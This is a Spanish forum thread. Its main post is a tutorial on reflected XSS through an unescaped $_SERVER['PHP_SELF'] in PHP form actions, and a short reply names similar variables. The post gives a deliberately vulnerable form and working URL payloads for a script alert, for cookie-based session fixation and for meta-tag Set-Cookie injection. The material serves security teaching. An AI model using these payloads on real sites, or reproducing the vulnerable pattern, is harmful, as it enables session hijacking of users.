PHP_SELF vulnerability.

b3n0x

Bovino maduro
#1
Hoy vamos a ver un tipo de vulnerabilidad que da entrada a XSS y a Session Making que se da muchas veces pero que debido a que no ha sido vista en profundidad, suele pasar algo desapercibida. Esto ocurre cuando en PHP hacemos la llamada al propio script. Hasta hace poco, se hacía con la variable $PHP_SELF, pero a día de hoy ya no se utiliza y se hace desde la variable global $_SERVER['PHP_SELF']. Veamos un ejemplo de aplicación vulnerable.


PHP:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
<title>Ejemplo de aplicación vulnerable por $_SERVER['PHP_SELF']</title>
<body>
<center>
<h3>¿Descontento con nuestra web? Rellene nuestro formulario!</h3>
<form action="<?=$_SERVER['PHP_SELF']?>" method=POST>Nombre:
<input type=text name=nombre>Apellidos:<input type=text name=apellidos>Queja:<textarea name='body' rows='10' cols='115'></textarea></center></body></html><?php//código que procesa la aplicación?>


Inyectando nuestro código:produciendo un XSSLa llamada al propio nombre del script nos da cabida a inventarnos un documento que produzca un XSS. ¡Pero no vayáis tan rápido! Segúramente ya habréis intentado hacer un www.pagina.com/formulario.php

Código:
<script>alert(/XSS/);</script>.
Te mostrará error ya que intentará buscar un archivo que no existe y no actuará sobre la propia página, por lo que tenemos que colocar una barra "/" para romper la llamada al script e inyectar nuestro código. Lo primero que haremos será ver el código fuente y ver como podemos romper las comillas para que se produzca la inyección.
Tenemos lo siguiente:

Código:
<form action="/formulario.php" method=POST>
Lo correcto será introducir una barra, unas comillas dobles, un cierre de etiqueta, nuestro XSS, una apertura de etiqueta y un form trash=" .
(por ejemplo):

Código:
<form action="/formulario.php/"><script>alert(/XSS/);</script><form trash="" method=POST>
Quedando así:
Código:
www.pagina.com/formulario.php/"><script>alert(/XSS/);</script><form trash="
O también podríamos crear una cookie para un ataque de session fixation de la siguiente manera:

Código:
<script>document.cookie="sessionid=1234; domain=.pagina.com”;</script>
Meta-tag injection
Es posible que nos encontremos con una página vulnerable a session fixation y queramos meter una cookie en el navegador de un usuario. Para ello inyectaremos lo siguiente:

Código:
<meta http-equiv=Set-Cookie content='sessionid=1234'>
Por supuesto habrá que cerrar correctamente las etiquetas y las comillas. La inyección por url (mejorada) quedaría así:

Código:
www.pagina.com/formulario.php/">
<meta http-equiv=Set-Cookie content='sessionid=1234; Expires=Tuesday,15-Nov-2012 00:00:00 GMT”; domain=.pagina.com'>><form trash=".
Fuente
 
#2
esto no es nuevo...

tambien pasa para...

$_SERVER['REQUEST_URI'];

para..

$_SERVER['HTTP_HOST'];


y varias..

a menos que definas:

$_SERVER['HTTP_HOST'] = 'http://pr0nhunters.org';
 
Arriba